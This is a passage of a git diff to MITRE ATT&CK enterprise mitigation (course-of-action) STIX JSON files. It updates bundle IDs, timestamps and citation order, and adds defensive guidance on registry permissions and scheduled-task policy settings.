             "id": "course-of-action--e8d22ec6-2236-48de-954b-974d17492782",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Two-Factor Authentication Interception Mitigation",
             "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--ec418d1b-4963-439f-b055-f914737ef362.json b/enterprise-attack/course-of-action/course-of-action--ec418d1b-4963-439f-b055-f914737ef362.json
index 33ba2b24ef..cd47305465 100644
--- a/enterprise-attack/course-of-action/course-of-action--ec418d1b-4963-439f-b055-f914737ef362.json
+++ b/enterprise-attack/course-of-action/course-of-action--ec418d1b-4963-439f-b055-f914737ef362.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--5b1171ef-208a-4551-b801-509f3d0a0672",
+    "id": "bundle--59ee6a87-a781-47e0-977a-31d005af96ca",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--ec418d1b-4963-439f-b055-f914737ef362",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "InstallUtil Mitigation",
             "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc.json b/enterprise-attack/course-of-action/course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc.json
index 22f47b8182..69effc74ca 100644
--- a/enterprise-attack/course-of-action/course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc.json
+++ b/enterprise-attack/course-of-action/course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--9879427c-9fd6-497e-80eb-4a39fe0d3c2e",
+    "id": "bundle--bd109497-6d1d-4aae-a38a-3997db99a4a0",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Registry Mitigation",
-            "description": "Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
diff --git a/enterprise-attack/course-of-action/course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e.json b/enterprise-attack/course-of-action/course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e.json
index 4958b0d76c..31a74fb3ad 100644
--- a/enterprise-attack/course-of-action/course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e.json
+++ b/enterprise-attack/course-of-action/course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--54394b70-40e9-482b-bbeb-3b3d4a2304cf",
+    "id": "bundle--7606b02e-57ba-4557-9f57-0b243b845a0b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Replication Through Removable Media Mitigation",
             "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--f0a42cad-9b1f-44da-a672-718f18381018.json b/enterprise-attack/course-of-action/course-of-action--f0a42cad-9b1f-44da-a672-718f18381018.json
index 72fb7d641c..6d287714b2 100644
--- a/enterprise-attack/course-of-action/course-of-action--f0a42cad-9b1f-44da-a672-718f18381018.json
+++ b/enterprise-attack/course-of-action/course-of-action--f0a42cad-9b1f-44da-a672-718f18381018.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--6b55e2ec-9ca5-4163-b167-de575167aa96",
+    "id": "bundle--c13e5cb1-6f0b-4a8d-97ed-10c046c02265",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Taint Shared Content Mitigation",
             "description": "Protect shared folders by minimizing users who have write access. Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -23,24 +23,24 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
-                {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
-                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e.json b/enterprise-attack/course-of-action/course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e.json
index 7a9c2a61a2..2efa2b969d 100644
--- a/enterprise-attack/course-of-action/course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e.json
+++ b/enterprise-attack/course-of-action/course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--6eaf6155-1785-4c82-99da-29e4548764a4",
+    "id": "bundle--f71a9752-e3af-4e72-a729-8f883101a9d7",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Private Keys Mitigation",
             "description": "Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of Valid Accounts.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04.json b/enterprise-attack/course-of-action/course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04.json
index 54d5bbc5f5..efbda76ed8 100644
--- a/enterprise-attack/course-of-action/course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04.json
+++ b/enterprise-attack/course-of-action/course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--e4ed9792-c6bf-4f37-806f-74d548fb5fe2",
+    "id": "bundle--9460c100-e378-41d9-a317-c92484d2cbe2",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--f28a20fd-d173-4603-807e-2cb3f51bdf04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Command-Line Interface Mitigation",
             "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd.json b/enterprise-attack/course-of-action/course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd.json
index caee2b4ebb..1195c33ebc 100644
--- a/enterprise-attack/course-of-action/course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd.json
+++ b/enterprise-attack/course-of-action/course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--110c9d1e-b9c5-476c-84fe-715801ca42a1",
+    "id": "bundle--55cb6933-e634-4ccb-a184-742e216a6dca",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Task Mitigation",
-            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -42,6 +42,16 @@
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                 },
+                {
+                    "source_name": "TechNet Scheduling Priority",
+                    "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.",
+                    "url": "https://technet.microsoft.com/library/dn221960.aspx"
+                },
+                {
+                    "source_name": "TechNet Server Operator Scheduled Task",
+                    "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.",
+                    "url": "https://technet.microsoft.com/library/jj852168.aspx"
+                },
                 {
                     "source_name": "Windows Commands JPCERT",
                     "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
diff --git a/enterprise-attack/course-of-action/course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3.json b/enterprise-attack/course-of-action/course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3.json
index 01108eba5b..ede7d640bc 100644
--- a/enterprise-attack/course-of-action/course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3.json
+++ b/enterprise-attack/course-of-action/course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--397f2d8f-1d08-431c-a5d2-41a2901f4a23",
+    "id": "bundle--b792dfd0-f5f0-4ce1-aecc-09ec923bdc6e",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--f3d0c735-330f-43c2-8e8e-51bcfa51e8c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Command and Control Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b.json b/enterprise-attack/course-of-action/course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b.json
index fd1b070e55..c13b64bea8 100644
--- a/enterprise-attack/course-of-action/course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b.json
+++ b/enterprise-attack/course-of-action/course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--878ede7e-b611-4429-b819-7e41c1504eec",
+    "id": "bundle--244439bf-8983-4122-be78-3dde2a74929e",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Process Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -23,24 +23,24 @@
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Corio 2008",
-                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
-                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 },
                 {
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
                 },
+                {
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
-                },
-                {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e.json b/enterprise-attack/course-of-action/course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e.json
index 780201d1fc..84b04166b9 100644
--- a/enterprise-attack/course-of-action/course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e.json
+++ b/enterprise-attack/course-of-action/course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f8c1c0fa-006d-41ca-a0c2-abd23ed401b3",
+    "id": "bundle--6a0b3d60-4004-465b-8f0b-95e1cb65b84b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Redundant Access Mitigation",
             "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a.json b/enterprise-attack/course-of-action/course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a.json
index 604434236f..766cf0907f 100644
--- a/enterprise-attack/course-of-action/course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a.json
+++ b/enterprise-attack/course-of-action/course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--5cf2bd99-fcde-4910-89cf-eb1ec405f646",
+    "id": "bundle--abe12e82-b22d-4415-b932-6fc8770acab9",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Window Mitigation",
             "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b.json b/enterprise-attack/course-of-action/course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b.json
index 56e49bc19c..7e8fe7575a 100644
--- a/enterprise-attack/course-of-action/course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b.json
+++ b/enterprise-attack/course-of-action/course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--a59fc6ac-09af-4961-aea1-e53ddb7da8e0",
+    "id": "bundle--22b74eb9-c74e-41e1-8916-b4d802693673",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Encoding Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425.json b/enterprise-attack/course-of-action/course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425.json
index 0ea96a7a65..a7f5fe2d90 100644
--- a/enterprise-attack/course-of-action/course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425.json
+++ b/enterprise-attack/course-of-action/course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f41a97ab-a4d3-46ec-b1bd-91a4ca2c49be",
+    "id": "bundle--a746c83a-d32a-46df-be14-ad73f6a49114",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Account Manipulation Mitigation",
             "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf.json b/enterprise-attack/course-of-action/course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf.json
index f423ad1337..82efb53c8f 100644
--- a/enterprise-attack/course-of-action/course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf.json
+++ b/enterprise-attack/course-of-action/course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--6ad891db-a175-4252-9100-e1f838fba0a6",
+    "id": "bundle--44509e61-de71-490d-8378-a15c5ea553ca",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--fe0aeb41-1a51-4152-8467-628256ea6adf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Modify Existing Service Mitigation",
             "description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e.json b/enterprise-attack/course-of-action/course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e.json
index ec7c089a0c..a6d636269a 100644
--- a/enterprise-attack/course-of-action/course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e.json
+++ b/enterprise-attack/course-of-action/course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--83095cb1-b378-405f-bd1c-f0f095efdcab",
+    "id": "bundle--26cef4e9-406b-4401-aa66-3a5b19f1d275",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--ff5d862a-ae6b-4833-8c15-e235d654d28e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Component Object Model Hijacking Mitigation",
             "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/enterprise-attack.json b/enterprise-attack/enterprise-attack.json
index 671513903a..f3815acea5 100644
--- a/enterprise-attack/enterprise-attack.json
+++ b/enterprise-attack/enterprise-attack.json
@@ -1,14 +1,14 @@
